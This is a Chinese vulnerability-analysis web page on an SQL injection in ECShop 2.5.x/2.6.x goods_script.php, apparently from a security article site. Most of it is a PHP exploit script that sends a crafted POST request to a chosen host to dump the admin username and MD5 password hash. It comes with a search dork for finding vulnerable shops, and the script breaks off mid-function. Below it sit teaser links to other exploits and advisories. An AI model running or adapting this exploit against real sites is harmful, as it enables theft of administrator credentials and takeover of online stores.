ECShop 注射漏洞分析

所属分类: 网络安全 / 漏洞分析 阅读数: 89
收藏 0 赞 0 分享
影响2.5.x和2.6.x,其他版本未测试
goods_script.php
44行:

复制代码
代码如下:

if (empty($_GET['type']))
{
...
}
elseif ($_GET['type'] == 'collection')
{
...
}
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
$res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)
EXP:

复制代码
代码如下:

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with register_globals = On
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';
$data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $cmd;
更多精彩内容其他人还在看

discuz!7.1、7.2 远程代码执行漏洞exp

使用exp的话仅限本机测试,其他用途后果自负!
收藏 0 赞 0 分享

科讯网站管理系统 Kesion v6.5 CMS Oday 利用工具

通过自己构造参数AutoReName=3,可以将上传的文件名保存原样,通过截断可以直接得到SHELL限制,后台禁止了注册,或者禁止了上传,或者把user目录删除了,优点是不用找后台,开放就死。
收藏 0 赞 0 分享

KesionCMS(科讯)上传漏洞与防范方法

有点鸡肋,配合前几天公布的iis6文件名解析漏洞达到获取webshell的目的。
收藏 0 赞 0 分享

Microsoft Windows hxvz.dll ActiveX控件堆溢出漏洞(MS08-023)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Internet Explorer FTP含命令注入漏洞

受影响系统: Microsoft Internet Explorer 6.0.2900.2180 Microsoft Internet Explorer 5.01 不受影响系统: Microsoft Internet Explorer 7.0
收藏 0 赞 0 分享

Microsoft Windows GDI文件名解析栈溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Windows GDI CreateDIBPatternBrushPt函数堆溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

解析PNG图象格式库存在远程拒绝服务漏洞

受影响系统: libpng libpng <= 1.2.20 不受影响系统: libpng libpng 1.2.21 描述: -------------------------------------------
收藏 0 赞 0 分享

Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista Microsoft Windows Server 2003 SP2 Microsoft Windows Server 2003 SP1 Micro
收藏 0 赞 0 分享

URL解析漏洞在PDF文档中的利用

右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。 在http://seclists.org/fulldisclosure/2007/Oct/0068.html看到这个漏洞的时候,
收藏 0 赞 0 分享
查看更多